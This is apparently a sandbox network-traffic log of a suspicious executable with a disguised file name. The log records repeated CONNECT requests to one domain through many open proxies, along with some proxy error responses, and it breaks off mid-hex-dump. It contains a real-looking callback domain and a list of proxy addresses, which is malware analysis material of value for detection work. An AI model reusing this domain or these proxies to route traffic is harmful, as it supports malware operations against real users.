Mar 11, 2024 16:42:49.969712973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.11	54529	47.243.114.192	8180	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.789300919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.11	54485	103.216.49.233	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.790164948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.11	54533	195.25.20.108	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.793426037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.438884974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.404377937 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.11	53963	162.214.102.195	50366	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.793977022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829570055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.11	54540	8.217.143.187	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.810389996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.11	54546	27.96.235.171	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.811290979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.11	53916	85.239.121.168	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.811530113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.11	50037	147.124.212.31	11070	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.811981916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829592943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938883066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939037085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985411882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.987337112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.985414028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.985294104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.001560926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.11	54553	34.81.72.31	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.812174082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.564871073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475677967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.310035944 CET	720	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:51 GMT Server: Apache Content-Length: 544 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 2e 73 68 69 6c 6c 6f 6e 67 63 6f 6c 6c 65 67 65 2e 61 63 2e 69 6e 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster.shillongcollege.ac.in to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.11	52966	159.223.166.21	5199	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.840069056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829642057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938889980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939064980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985548973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.987344027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.987323999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.987272024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.001560926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.11	52922	92.204.135.37	32524	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.840306044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.938616037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938968897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.11	54647	185.162.231.254	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.853743076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.008445024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.11	54653	104.21.64.208	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.854443073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.008716106 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.11	54570	54.36.122.16	39713	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.857676983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.688874006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673424006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.485840082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.11	54555	103.166.141.74	20074	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.874659061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.11	54563	51.75.126.150	4228	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.874778986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.564819098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.11	54558	79.110.202.131	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.876497984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.11	54554	119.3.215.41	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.876663923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.11	54585	20.206.106.192	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.886066914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.480454922 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.11	54590	8.130.39.117	3389	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.913506985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.237669945 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 